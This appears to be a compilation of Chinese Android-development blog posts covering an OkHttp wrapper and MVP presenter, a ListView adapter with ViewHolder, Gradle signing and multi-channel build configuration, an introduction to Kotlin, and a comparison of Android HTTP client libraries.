import java.util.concurrent.TimeUnit;
/**
 * Description : OkHttp网络连接封装工具类
 * Author : lauren
 * Email  : lauren.liuling@gmail.com
 * Blog   : http://www.liuling123.com
 * Date   : 15/12/17
 */
public class OkHttpUtils {
    private static final String TAG = "OkHttpUtils";
    private static OkHttpUtils mInstance;
    private OkHttpClient mOkHttpClient;
    private Handler mDelivery;
    private OkHttpUtils() {
        mOkHttpClient = new OkHttpClient();
        mOkHttpClient.setConnectTimeout(10, TimeUnit.SECONDS);
        mOkHttpClient.setWriteTimeout(10, TimeUnit.SECONDS);
        mOkHttpClient.setReadTimeout(30, TimeUnit.SECONDS);
        //cookie enabled
        mOkHttpClient.setCookieHandler(new CookieManager(null, CookiePolicy.ACCEPT_ORIGINAL_SERVER));
        mDelivery = new Handler(Looper.getMainLooper());
    }
    private synchronized static OkHttpUtils getmInstance() {
        if (mInstance == null) {
            mInstance = new OkHttpUtils();
        }
        return mInstance;
    }
    private void getRequest(String url, final ResultCallback callback) {
        final Request request = new Request.Builder().url(url).build();
        deliveryResult(callback, request);
    }
    private void postRequest(String url, final ResultCallback callback, List<Param> params) {
        Request request = buildPostRequest(url, params);
        deliveryResult(callback, request);
    }
    private void deliveryResult(final ResultCallback callback, Request request) {
        mOkHttpClient.newCall(request).enqueue(new Callback() {
            @Override
            public void onFailure(Request request, final IOException e) {
                sendFailCallback(callback, e);
            }
            @Override
            public void onResponse(Response response) throws IOException {
                try {
                    String str = response.body().string();
                    if (callback.mType == String.class) {
                        sendSuccessCallBack(callback, str);
                    } else {
                        Object object = JsonUtils.deserialize(str, callback.mType);
                        sendSuccessCallBack(callback, object);
                    }
                } catch (final Exception e) {
                    LogUtils.e(TAG, "convert json failure", e);
                    sendFailCallback(callback, e);
                }
            }
        });
    }
    private void sendFailCallback(final ResultCallback callback, final Exception e) {
        mDelivery.post(new Runnable() {
            @Override
            public void run() {
                if (callback != null) {
                    callback.onFailure(e);
                }
            }
        });
    }
    private void sendSuccessCallBack(final ResultCallback callback, final Object obj) {
        mDelivery.post(new Runnable() {
            @Override
            public void run() {
                if (callback != null) {
                    callback.onSuccess(obj);
                }
            }
        });
    }
    private Request buildPostRequest(String url, List<Param> params) {
        FormEncodingBuilder builder = new FormEncodingBuilder();
        for (Param param : params) {
            builder.add(param.key, param.value);
        }
        RequestBody requestBody = builder.build();
        return new Request.Builder().url(url).post(requestBody).build();
    }
    /**********************对外接口************************/
    /**
     * get请求
     * @param url  请求url
     * @param callback  请求回调
     */
    public static void get(String url, ResultCallback callback) {
        getmInstance().getRequest(url, callback);
    }
    /**
     * post请求
     * @param url       请求url
     * @param callback  请求回调
     * @param params    请求参数
     */
    public static void post(String url, final ResultCallback callback, List<Param> params) {
        getmInstance().postRequest(url, callback, params);
    }
    /**
     * http请求回调类,回调方法在UI线程中执行
     * @param <T>
     */
    public static abstract class ResultCallback<T> {
        Type mType;
        public ResultCallback(){
            mType = getSuperclassTypeParameter(getClass());
        }
        static Type getSuperclassTypeParameter(Class<?> subclass) {
            Type superclass = subclass.getGenericSuperclass();
            if (superclass instanceof Class) {
                throw new RuntimeException("Missing type parameter.");
            }
            ParameterizedType parameterized = (ParameterizedType) superclass;
            return $Gson$Types.canonicalize(parameterized.getActualTypeArguments()[0]);
        }
        /**
         * 请求成功回调
         * @param response
         */
        public abstract void onSuccess(T response);
        /**
         * 请求失败回调
         * @param e
         */
        public abstract void onFailure(Exception e);
    }
    /**
     * post请求参数类
     */
    public static class Param {
        String key;
        String value;
        public Param() {
        }
        public Param(String key, String value) {
            this.key = key;
            this.value = value;
        }
    }
}

将网络请求进行封装可以减少很多的代码量，并且后期如果我不想用okhttp了，想换成其它的库，修改起来也方便。

Presenter层

View层需要调用Presenter层加载新闻信息，所以Presenter需要提供加载新闻信息的接口：

public interface NewsPresenter {
    void loadNews(int type, int page);
}

NewsPresenterImpl的构造函数中需要传入View层的接口对象NewView，并且需要创建一个NewsModel对象。Presenter的具体实现：

package com.lauren.simplenews.news.presenter;
import com.lauren.simplenews.beans.NewsBean;
import com.lauren.simplenews.commons.Urls;
import com.lauren.simplenews.news.model.NewsModel;
import com.lauren.simplenews.news.model.NewsModelImpl;
import com.lauren.simplenews.news.view.NewsView;
import com.lauren.simplenews.news.widget.NewsFragment;
import com.lauren.simplenews.utils.LogUtils;
import java.util.List;
/**
 * Description :
 * Author : lauren
 * Email  : lauren.liuling@gmail.com
 * Blog   : http://www.liuling123.com
 * Date   : 15/12/18
 */
public class NewsPresenterImpl implements NewsPresenter, NewsModelImpl.OnLoadNewsListListener {
    private static final String TAG = "NewsPresenterImpl";
    private NewsView mNewsView;
    private NewsModel mNewsModel;
    public NewsPresenterImpl(NewsView newsView) {
        this.mNewsView = newsView;
        this.mNewsModel = new NewsModelImpl();
    }
    @Override
    public void loadNews(final int type, final int pageIndex) {
        String url = getUrl(type, pageIndex);
        LogUtils.d(TAG, url);
        //只有第一页的或者刷新的时候才显示刷新进度条
        if(pageIndex == 0) {
            mNewsView.showProgress();
        }
        mNewsModel.loadNews(url, type, this);
    }
    /**
     * 根据类别和页面索引创建url
     * @param type
     * @param pageIndex
     * @return
     */
    private String getUrl(int type, int pageIndex) {
        StringBuffer sb = new StringBuffer();
        switch (type) {
            case NewsFragment.NEWS_TYPE_TOP:
                sb.append(Urls.TOP_URL).append(Urls.TOP_ID);
                break;
            case NewsFragment.NEWS_TYPE_NBA:
                sb.append(Urls.COMMON_URL).append(Urls.NBA_ID);
                break;
            case NewsFragment.NEWS_TYPE_CARS:
                sb.append(Urls.COMMON_URL).append(Urls.CAR_ID);
                break;
            case NewsFragment.NEWS_TYPE_JOKES:
                sb.append(Urls.COMMON_URL).append(Urls.JOKE_ID);
                break;
            default:
                sb.append(Urls.TOP_URL).append(Urls.TOP_ID);
                break;
        }
        sb.append("/").append(pageIndex).append(Urls.END_URL);
        return sb.toString();
    }
    @Override
    public void onSuccess(List<NewsBean> list) {
        mNewsView.hideProgress();
        mNewsView.addNews(list);
    }
    @Override
    public void onFailure(String msg, Exception e) {
        mNewsView.hideProgress();
        mNewsView.showLoadFailMsg();
    }
}

当用户切换到NewsListFragment界面之后，界面需要展示新闻列表信息给用户。首先NewsListFragment会调用NewsPresenter的loadNews方法，NewsPresenter 的loadNews方法中又会调用NewsModel中的loadNews方法。NewsModel中的loadNews方法中就是加载数据的核心，通过Okhttp请求服务器接口获取数据，无论数据获取成功与否，都会通过OnLoadNewsListener接口回调给NewsPresenter 。如果获取成功，NewsPresenter 会调用NewsView的addNews方法将获取的新闻列表信息展示到RecyclerView。如果获取失败，则调用NewsView的showLoadFialMsg方法向用户提示失败信息。

以上就是新闻列表请求的整个过程。

源码地址：https://github.com/liuling07/SimpleNews


 Andorid关于如何获取listview中子item的控件的问题

作者：伊泽瑞尔

来源： Andorid关于如何获取listview中子item的控件的问题



                    
Andorid 开发中我们常常会用到listview这个控件，而listview中如何获取到子item的控件并设置相应事件则相对复杂，并且自定义listview常常需要自定义适配器等等，下面这篇文章将主要介绍如何获取item控件并设置响应事件，主要实现如何点击listview子item中的一个按钮跳转到下一个Activity。废话不多说直接上代码：

主文件:MainActivity(当前Activity)

package com.example.demo_listitem;

import java.util.ArrayList;
import java.util.HashMap;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemClickListener;
import android.widget.Button;
import android.widget.LinearLayout;
import android.widget.ListView;
import android.widget.SimpleAdapter;
import android.widget.Toast;

public class MainActivity extends Activity {
    private ListView list;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_listview);    
        list=(ListView) findViewById(R.id.listView1)**//找到Listview控件**
        Cadapter ca=new Cadapter(this);**//得到一个Cadapter对象（自定义适配器）**
        list.setAdapter(ca);**//为listview绑定适配器**
    }
**//定义一个得到数据的方法**
    public ArrayList<HashMap<String, Object>> getData() {
        ArrayList<HashMap<String, Object>> listitem=new 
                ArrayList<HashMap<String, Object>>();**//动态数组，装数据**
        for(int i=0;i<20;i++)
        {
            **//利用散列映射添加简单数据**
            HashMap<String, Object> map=new HashMap<String,Object>();
            map.put("title", "hello world");
            listitem.add(map);
        }
        return listitem;**//返回数据源**

    }
    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.main, menu);
        return true;
    }

    @Override
    public boolean onOptionsItemSelected(MenuItem item) {
        // Handle action bar item clicks here. The action bar will
        // automatically handle clicks on the Home/Up button, so long
        // as you specify a parent activity in AndroidManifest.xml.
        int id = item.getItemId();
        if (id == R.id.action_settings) {
            return true;
        }
        return super.onOptionsItemSelected(item);
    }
    
    
}



最重要的地方，自定义适配器:Cadatper（继承自BaseAdapter）
（PS：使用BaseAdapter必须写一个类继承它，同时BaseAdapter是一个抽象类，继承它必须实现它的方法。而最重要的方法就是getView()方法，在此方法内item的绘制（核心的核心），item内控件的寻找，事件的设定都能做。当开始绘制listview时，首先会调用其getCount()方法，得到listview的长度，然后根据这个长度来绘制listview的每一个item）

最重要的重写适配器:Cadapter

package com.example.demo_listitem;

import android.content.Context;
import android.content.Intent;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.webkit.WebView.FindListener;
import android.widget.BaseAdapter;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;

public class Cadapter extends BaseAdapter{

    private Context context1;
    private LayoutInflater mInflater;
    public Cadapter(Context context)
    {
        context1=context;**//将当前页面的对象赋给context1**
        this.mInflater=LayoutInflater.from(context1);
    }
    @Override
    public int getCount() {
        MainActivity m=new MainActivity();
        return m.getData().size();**//返回listview长度**
        
    }

    @Override
    public Object getItem(int position) {
        return null;
    }
    
    @Override
    public long getItemId(int position) {
        return 0;
    }

    @Override
    public View getView(int position, View convertView, ViewGroup parent) {
        ViewHolder holder;
        
        if(convertView==null)
        {
            **//绘制子item**
            convertView=mInflater.inflate(R.layout.activity_listitem, null);
            **//得到各个控件**
            holder=new ViewHolder();**//存放控件的对象**
            holder.tv=(TextView) convertView.findViewById(R.id.textView1);
            holder.bt=(Button) convertView.findViewById(R.id.button1);
            convertView.setTag(holder); **//将数据和convertView绑定在一起**
        }
        else
        {
            holder=(ViewHolder) convertView.getTag();
        }
        MainActivity m=new MainActivity();
        holder.tv.setText(m.getData().get(position).get("title").toString());**//为item中的Textview设置数据**
      **//按钮的点击事件**
        holder.bt.setOnClickListener(new View.OnClickListener() {        
            @Override
            public void onClick(View v) {
                // TODO Auto-generated method stub
                Intent intent=new Intent(context1,NextActivity.class);
                context1.startActivity(intent);
            }
        });
        return convertView;
    }
}


(getview中的代码，其实完全可以不用convertView以及holder，直接加入item布局和设计相应的组件属性就行了，这样做虽然行得通，但只适用于listview中item个数较少的时候可行，当item个数达到1000,10000,1000000就行不通了，因为每个item系统都会绘制一次（getView()一次），item个数较少时还好，当大量的item需要绘制时，会耗费大量的资源在绘制上，这显然实不可取的。
所以，以上代码是经过优化过的，优化之处在于使用convertView和ViewHolder的使用，convertViewconvertView相当于一个缓存，当滑动时，有的条目变为不可见，它缓存了此条目的数据，后面再出来的条目只需要更新数据就可以了，这样大大节省了系统资料的开销
而ViewHolder也是对listview的进一步优化，将holder(找到的控件)用setTag绑定到convertView上,用的时候再用getTag（）取出,不用每次都去findviewById，节约系统开销)

下一个页面的Activity:NextActivity

package com.example.deo_listitem;
import android.app.Activity;
import android.os.Bundle;
public class NextActivity extends Activity{
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_next);
    }
}

ViewHolder:

package com.example.demo_listitem;

import android.widget.Button;
import android.widget.TextView;

public final class ViewHolder {
    public TextView tv;
    public Button bt;
}


listvew布局文件：activity_listview

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical" >

    <ListView
        android:id="@+id/listView1"
        android:layout_width="match_parent"
        android:layout_height="wrap_content" >
    </ListView>

</LinearLayout>



子item布局文件:activity_listitem(就一个textview和一个button)

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    android:weightSum="1" >

    <LinearLayout
        android:layout_width="match_parent"
        android:layout_height="80dp"
        android:orientation="vertical"
        android:background="#ddc200"
        android:weightSum="1" >

        <LinearLayout
            android:layout_width="match_parent"
            android:layout_height="0dp"
            android:orientation="vertical"
            android:layout_weight="0.5" >

            <TextView
                android:id="@+id/textView1"
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:text="Medium Text"
                android:textAppearance="?android:attr/textAppearanceMedium" />

        </LinearLayout>

        <LinearLayout
            android:layout_width="match_parent"
            android:layout_height="0dp"
            android:layout_weight="0.5"
            android:orientation="vertical" >

            <Button
                android:id="@+id/button1"
                style="?android:attr/buttonStyleSmall"
                android:layout_width="112dp"
                android:layout_height="wrap_content"
                android:layout_weight="1"
                android:text="下一页" />
        </LinearLayout>

    </LinearLayout>

</LinearLayout>


下一个页面的布局文件：activity_next

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    android:background="#ddc200" >
</LinearLayout>


convertView原理：当初始显示一屏listview时，convertView的值为空，（因为没有旧的item，旧的指：滑动时移出屏幕的item），当屏幕移动时，有的item滑到屏幕外面，成了旧的item，convertView会回收这些成为旧了的item并缓存起来，如果有新的item产生，则getview（）中的convertView就不是空的，而是移出屏幕的item的值（旧item），我们需要做的就是将需要显示的数据填充进去就行了，也就是说convertView相当于一个缓存，当有条目变为不可见，它缓存了它的数据，后面再出来的条目只需要更新数据就可以了，这样大大节省了系统资料的开销。


 Gradle构建Android项目

作者：人云思云

来源： Gradle构建Android项目



                    
签名


gradle本身支持直接签名，只需要在releas部分添加如下代码即可


signingConfigs {
        debug {

        }
        release {
            storeFile file("../yourapp.keystore")
            storePassword "your password"
            keyAlias "your alias"
            keyPassword "your password"
        }
    }

    buildTypes {
        debug {
            minifyEnabled false
            zipAlignEnabled false
            shrinkResources false
            signingConfig signingConfigs.debug
        }

        release {
            minifyEnabled true//混淆编译
            zipAlignEnabled true
            //移除无用的资源文件
            shrinkResources true
            signingConfig signingConfigs.release
            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
        }
    }



一般填上上面的代码即可执行签名，但是这种方式不太安全，建议不要在build.gradle文件中写上签名文件的密码，因为build.gradle文件一般都会集成到代码的版本控制中，这样所有人都会有签名文件的密码。


所以应该把签名文件的密码隔离起来，写到一个配置文件中，此配置文件不包含在代码版本控制中，这样其他开发者就不会知道签名文件的密码。


gradle配置文件一般以.properties结束，我们先新建一个signing.properties文件，内容如下：


STORE_FILE=yourapp.keystore
STORE_PASSWORD=your password
KEY_ALIAS=your alias
KEY_PASSWORD=your password




  注意没有字符串双引号""




接下在guild.gradle文件中读取signing.properties配置文件，读取的代码如下：


File propFile = file('signing.properties');
if (propFile.exists()) {
    def Properties props = new Properties()
    props.load(new FileInputStream(propFile))
    if (props.containsKey('STORE_FILE') && props.containsKey('STORE_PASSWORD') &&
            props.containsKey('KEY_ALIAS') && props.containsKey('KEY_PASSWORD')) {
        android.signingConfigs.release.storeFile = file(props['STORE_FILE'])
        android.signingConfigs.release.storePassword = props['STORE_PASSWORD']
        android.signingConfigs.release.keyAlias = props['KEY_ALIAS']
        android.signingConfigs.release.keyPassword = props['KEY_PASSWORD']
    } else {
        android.buildTypes.release.signingConfig = null
    }
} else {
    android.buildTypes.release.signingConfig = null
}



代码很简单，就是读取文件，然后拿到签名需要的四个变量值分别赋值即可。


多渠道打包


美团Android自动化之旅—生成渠道包


由于国内Android市场众多渠道，为了统计每个渠道的下载及其它数据统计，就需要我们针对每个渠道单独打包。

gradle的多渠道打包很简单，因为gradle已经帮我们做好了很多基础功能。


下面以友盟统计为例说明，一般友盟统计在AndroidManifest.xml里面会有这么一段声明：


<meta-data
    android:name="UMENG_CHANNEL"
    android:value="CHANNEL_ID" />



其中CHANNEL_ID就是友盟的渠道标示，多渠道的实现一般就是通过修改CHANNEL_ID值来实现的。


接下来将一步一步来实现多渠道版本打包。


1.在AndroidManifest.xml里配置PlaceHolder,用与在build.gradle文件中来替换成自己想要设置的值


<meta-data
    android:name="UMENG_CHANNEL"
    android:value="${UMENG_CHANNEL_VALUE}" />



2.在build.gradle设置productFlavors，修改PlaceHolder的值


productFlavors {
        playStore {
            manifestPlaceholders = [UMENG_CHANNEL_VALUE: "playStore"]
        }
        miui {
            manifestPlaceholders = [UMENG_CHANNEL_VALUE: "miui"]
        }
        wandoujia {
            manifestPlaceholders = [UMENG_CHANNEL_VALUE: "wandoujia"]
        }
    }



或者批量修改


productFlavors {
        playStore {}
        miui {}
        wandoujia {}
}
 //批量处理
productFlavors.all { 
       flavor -> flavor.manifestPlaceholders = [UMENG_CHANNEL_VALUE: name] 
}



按照上面两步即可编译打多渠道包了，命令是 ./gradlew assembleRelease，可以打包所有的多渠道包。


通过下面这张图可以看到gradle可以执行的task。


如果只是想打单渠道包，则执行相应的task即可，如gradle assemblePalyStoreRelease就是打PlayStore渠道的Release版本。


3.如果希望可以对最终的文件名做修改，如需要针对不同的需求生成不同的文件。而修改文件名也很简单，参考以下代码即可实现


def releaseTime() {
    return new Date().format("yyyy-MM-dd", TimeZone.getTimeZone("UTC"))
}

android{
    applicationVariants.all { variant ->
        variant.outputs.each { output ->
            def outputFile = output.outputFile
            if (outputFile != null && outputFile.name.endsWith('.apk')) {
                File outputDirectory = new File(outputFile.parent);
                def fileName
                if (variant.buildType.name == "release") {
                    fileName =  "app_v${defaultConfig.versionName}_${releaseTime()}_${variant.productFlavors[0].name}.apk"
                } else {
                    fileName = "app_v${defaultConfig.versionName}_${packageTime()}_debug.apk"
                }
                output.outputFile = new File(outputDirectory, fileName)
            }
        }
    }

}




  此方法有一定局限性，就是渠道包多了之后编译花费的时间会很长，这里推荐美团打包的第三种方法。




buildConfigField自定义配置


大家可能会遇到下面这种情况，就是Beta版本服务器和Release版本服务器通常不在一台服务器上，而测试希望可以同时发布两个服务器的版本用于测试，这个时候我们就需要修改代码，然后一个一个老老实实的发包。gradle提供buildConfigField配合多渠道打不同服务器版本的方法。

其实用法很简单,首先在相应的节点加上定义，比如：


buildTypes {
        debug {
            buildConfigField "boolean", "LOG_DEBUG", "true"//是否输出LOG信息
            buildConfigField "String", "API_HOST", "\"http://api.test.com\""//API Host
           }
    }



然后在代码中通过BuildConfig.LOG_DEBUG或者BuildConfig.API_HOST调用即可。


dex突破65535的限制


随着项目的一天天变大，慢慢的都会遇到单个dex最多65535个方法数的瓶颈，如果是ANT构建的项目就会比较麻烦，但是Gradle已经帮我们处理好了，而添加的方法也很简单，总共就分三步 :

1.首先是在defaultConfig节点使能多DEX功能


android {
        defaultConfig {
            // dex突破65535的限制
            multiDexEnabled true
        }
    }



2.然后就是引入multidex库文件


dependencies {
         compile 'com.android.support:multidex:1.0.0'
    }



3.最后就是你的AppApplication继承一下MultiDexApplication即可。


完整的gradle脚本


一份项目中使用的完整的gradle文件配置


// 声明是Android程序
apply plugin: 'com.android.application'

// 定义一个打包时间
def releaseTime() {
    return new Date().format("yyyy-MM-dd", TimeZone.getTimeZone("UTC"))
}

android {
    // 编译SDK的版本
    compileSdkVersion 21
    // build tools的版本
    buildToolsVersion '21.1.2'

    defaultConfig {
        // 应用的包名
        applicationId "com.**.*"
        minSdkVersion 14
        targetSdkVersion 21
        versionCode 1
        versionName "1.0"

        // dex突破65535的限制
        multiDexEnabled true
        // 默认是umeng的渠道
        manifestPlaceholders = [UMENG_CHANNEL_VALUE: "umeng"]
    }

    // 移除lint检查的error
    lintOptions {
        abortOnError false
    }

    //签名配置
    signingConfigs {
        debug {
            // No debug config
        }

        release {
            storeFile file("../yourapp.keystore")
            storePassword "your password"
            keyAlias "your alias"
            keyPassword "your password"
        }
    }

    buildTypes {
        debug {
            // buildConfigField 自定义配置默认值
            buildConfigField "boolean", "LOG_DEBUG", "true"
            buildConfigField "String", "API_HOST", "\"http://api.test.com\""//API Hos
            versionNameSuffix "-debug"
            minifyEnabled false
            //是否zip对齐
            zipAlignEnabled false
            shrinkResources false
            signingConfig signingConfigs.debug
        }

        release {
            // buildConfigField 自定义配置默认值
            buildConfigField "boolean", "LOG_DEBUG", "false"
            buildConfigField "String", "API_HOST", "\"http://api.release.com\""//API Host
            //// 是否进行混淆
            minifyEnabled true
            zipAlignEnabled true
            // 移除无用的resource文件
            shrinkResources true
            //混淆规则文件
            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
            signingConfig signingConfigs.release

            applicationVariants.all { variant ->
                variant.outputs.each { output ->
                    def outputFile = output.outputFile
                    if (outputFile != null && outputFile.name.endsWith('.apk')) {
                        // 输出apk名称为boohee_v1.0_2015-06-15_wandoujia.apk
                        def fileName = "boohee_v${defaultConfig.versionName}_${releaseTime()}_${variant.productFlavors[0].name}.apk"
                        output.outputFile = new File(outputFile.parent, fileName)
                    }
                }
            }
        }
    }

    // 友盟多渠道打包
    productFlavors {
        wandoujia {}
        _360 {}
        baidu {}
        xiaomi {}
        tencent {}
        taobao {}
        ...
    }

    productFlavors.all { flavor ->
        flavor.manifestPlaceholders = [UMENG_CHANNEL_VALUE: name]
    }
}

dependencies {
    // 编译libs目录下的所有jar包
    compile fileTree(dir: 'libs', include: ['*.jar'])
    compile 'com.android.support:support-v4:21.0.3'
    compile 'com.jakewharton:butterknife:6.0.0'
    ...
}



其他整理


Android Studio系列教程五--Gradle命令详解与导入第三方包
ZipAlign对apk进行优化


参考


安卓集成发布详解（二）
Gradle插件用户指南(译)
Android Studio系列教程六--Gradle多渠道打包
使用Gradle构建Android项目
使用gradle构建android项目（续）
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概览


之前我们学习过如何写一个简单的Android App。

为了赶上潮流，我特地去学习了下Jetbrains开发的新语言 —— Kotlin


不想说太多的概念，总结出来就是 Swift on JVM。

那么为什么要用它呢，我喜欢它的理由很多：



  
	带来了Nullable Safe特性 —— 以后再也不怕讨厌的 Null Pointer Exception了。

  	闭包闭包闭包 —— 重要的事情说三遍.

  	Smart Type Case —— 很智能的一个特性，当你使用if检查是否是某种类型以后，自动转换为指定类型。

  	没有附加的Runtime —— iOSer 看到这会不会哭.

  	Kotlin stdlib 非常小，打包后Apk的体积几乎没有变化，也不用担心方法数超过限制。

  




总而言之，就是用极小的代价换来了我们许多振奋人心的特性，那么你心动了么？

当然，在心动之前也要理智，我们要知道Kotlin暂时还没有发布"正式版"，一直在0.x.x版本号中徘徊，如果你足够胆大（像我），那么你大可以一试。



  老规矩先补上官方文档传送门：http://kotlinlang.org/docs/reference/basic-syntax.html




一些基本的语法如——基础类型、流程控制、类与继承等等特性我们已经不陌生，我们来看看几个新特性。


Nullable Safe


我翻译过来是空指针安全监测，什么意思呢？看下如下语法糖（Swift Developer可以直接跳过）

比如


var text:String? = null
text?.length()



如果是java代码，在text变量为null的时候，调用text.length()是会崩溃滴，那么在这里，我们用了?来告诉编译器，如果text为null，则返回null，否则返回text.length()，具体翻译过来就是这样：


if (text == null) {
   return null;
} else {
   return text.length()
}



看我们少了这么多判断，这个语法糖是不是很棒？


Closure & Lambda & Higer-Order Functions


介绍我最爱的闭包，那么在java 8以下的版本中，java是没有闭包这个特性的，举个例子，你的函数不能被当成一个对象使用，必须使用一个接口封装，而我们使用Kotlin就可以直接传函数当形参啦！


fun lock<T>(lock: Lock, body: () -> T): T {
  lock.lock()
  try {
    return body()
  }
  finally {
    lock.unlock()
  }
}



此处我们的body形参就是一个0参数返回类型为T的函数，可以作为我们的回调函数使用，而不用像java一样定义又臭又长的接口，再传入使用。


fun dfs(graph: Graph) {
  fun dfs(current: Vertex, visited: Set<Vertex>) {
    if (!visited.add(current)) return
    for (v in current.neighbors)
      dfs(v, visited)
  }

  dfs(graph.vertices[0], HashSet())
}



这是一个典型的dfs算法，使用Kotlin的高阶函数特性——可以在函数内定义函数。


Smart Type Case


智能类型转换，什么意思呢？show一段代码


if (str is String) {
    return str.length()
} else if (str is Int) {
    return str.toString()
}



我们知道Int类型是没有length这个方法的，也就是经过这个if判断，如果满足if条件的话，编译器自动帮我们转换成我们要的类型，然后供我们调用。


我试着在SegmentFault for Android中加入对Kotlin的支持，在加入Kotlin的lib前后，包大小并没有明显增长（1M以下），性能亦没有降低，所以用户是感知不出来内部发生了什么变化。

综上所述，我要给Kotlin点赞！


Demo


我把土豆记事所有的代码全部改成Kotlin的实现，并开源到Github上 
https://github.com/geminiwen/tudounotepad

大家可以clone下来学习，也非常感谢大家对我的支持。
（顺便跪求各种star star star)



  欢迎关注我Github 以及 @Gemini
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如果正在学习Android，建议可以参考笔者的我的编程之路——知识管理与知识体系
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前言

目前基本上每个应用都会使用HTTP/HTTPS协议来作为主要的传输协议来传输数据。即使你没有直接使用HTTP协议，也会有成堆的SDK会包含这些协议，譬如分析、Crash反馈等等。当然，目前也有很多优秀的HTTP的协议库，可以很方便的帮助开发者构建应用，本篇博文中会尽可能地涵盖这些要点。Android的开发者在选择一个合适的HTTP库时需要考虑很多的要点，譬如在使用Apache Client或者HttpURLConnection时可能会考虑：


	能够取消现有的网络请求


	能够并发请求


	连接池能够复用存在的Socket连接


	本地对于响应的缓存


	简单的异步接口来避免主线程阻塞


	对于REST API的封装


	重连策略


	能够有效地载入与传输图片


	支持对于JSON的序列化


	支持SPDY、HTTP/2




历史回眸

最早的时候Android只有两个主要的HTTP客户端： HttpURLConnection, Apache HTTP Client。根据Google官方博客的内容，HttpURLConnection在早期的Android版本中可能存在一些Bug:

在Froyo版本之前，HttpURLConnection包含了一些很恶心的错误。特别是对于关闭可读的InputStream时候可能会污染整个连接池。



同样，Google官方并不想转到Apache HTTP Client中：

Apache HTTP Client中复杂的API设计让人们根本不想用它，Android团队并不能够有效地工作。



而对于大部分普通开发者而言，它们觉得应该根据不同的版本使用不同的客户端。对于Gingerbread(2.3)以及之后的版本，HttpURLConnection会是最佳的选择，它的API更简单并且体积更小。透明压缩与数据缓存可以减少网络压力，提升速度并且能够节约电量。当我们审视Google Volley的源代码的时候，可以看得出来它也是根据不同的Android版本选择了不同的底层的网络请求库：

if (stack == null) {
    if (Build.VERSION.SDK_INT >= 9) {
        stack = new HurlStack();
    }  else {
        // Prior to Gingerbread, HttpUrlConnection was unreliable.
        // See: http://android-developers.blogspot.com/2011/09/androids-http-clients.html
        stack = new HttpClientStack(AndroidHttpClient.newInstance(userAgent));
    }
}

不过这样会很让开发者头疼，2013年，Square为了解决这种分裂的问题发布了OkHttp。OkHttp是直接架构与Java Socket本身而没有依赖于其他第三方库，因此开发者可以直接用在JVM中，而不仅仅是Android。为了简化代码迁移速度，OkHttp也实现了类似于HttpUrlConnection与Apache Client的接口。



网络库对比

OkHttp获得了巨大的社区的支持，以至于Google最终是将它作为了Android 4.4默认的Engine，并且会在5.1之后弃用Apache Client。目前OkHttp V2.5.0支持如下特性：


	HTTP/2 以及 SPDY的支持多路复用


	连接池会降低并发连接数


	透明GZIP加密减少下载体积


	响应缓存避免大量重复请求


	同时支持同步的阻塞式调用与异步回调式调用




笔者关于OkHttp最喜欢的一点是它能够将异步请求较好的展示：

private final OkHttpClient client = new OkHttpClient();

public void run() throws Exception {
    Request request = new Request.Builder()
        .url("http://publicobject.com/helloworld.txt")
        .build();

    client.newCall(request).enqueue(new Callback() {
        @Override 
        public void onFailure(Request request, Throwable throwable) {
        throwable.printStackTrace();
    }

    @Override 
      public void onResponse(Response response) throws IOException {
    if (!response.isSuccessful()) throw new IOException("Unexpected code " + response);
        System.out.println(response.body().string());
    }
  });
}

这个用起来非常方便，因为往往大的数据请求都不能放置在UI主线程中进行。事实上，从Android 3.0(Honeycomb 11)开始，所有的网络操作都必须强制在单独的线程中进行。在当时如果要把HttpUrlConnection和AsyncTask结合起来使用，还是比较复杂的。而2013年的Google I/O大会上，Google提出了Volley，一个提供了如下便利的HTTP库：


	Automatic scheduling of network requests.


	Multiple concurrent network connections.


	Transparent disk and memory response caching with standard HTTP cache coherence.


	Support for request prioritization.


	Cancellation request API. You can cancel a single request, or you can set blocks or scopes of requests to cancel.


	Ease of customization, for example, for retry and backoff.


	Strong ordering that makes it easy to correctly populate your UI with data fetched asynchronously from the network.


	Debugging and tracing tools.






Volley主要架构在HttpUrlConnection之上，如果希望能够抓取图片或者JSON数据，Volley有自定义的抽象类型ImageRequest与JsonObjectRequest，可以自动转化为HTTP请求。同时，Volley也有一个硬编码的网络连接池大小：

private static final int DEFAULT_NETWORK_THREAD_POOL_SIZE = 4;

不过OkHttp可以自定义连接池的大小：

private int maxRequests = 64;
private int maxRequestsPerHost = 5;

executorService = new ThreadPoolExecutor(0, Integer.MAX_VALUE, 60, TimeUnit.SECONDS,
      new LinkedBlockingQueue<Runnable>(), Util.threadFactory("OkHttp Dispatcher", false));

在某些情况下，OkHttp可以通过使用多线程来有更好的性能体现。不过如果现有的程序中已经用Volley做了顶层封装，那么也可以使用HttpStack implementation这个来使用OkHttp的请求与响应接口来替换HttpUrlConnection。

到这里已经可以发现，OkHttp本质上是自定义了一套底层的网络请求架构。目前HTTP客户端已经逐步转化为了支持大量图片，特别是那种无限滚动与图片传输的应用。同时，REST API已经成为了业界标准，基本上每位开发者都需要处理大量标准化的任务，类似于JSON序列化与将REST请求映射到Java的接口上。Square也在不久之后针对这两个问题提出了自己的解决方案：


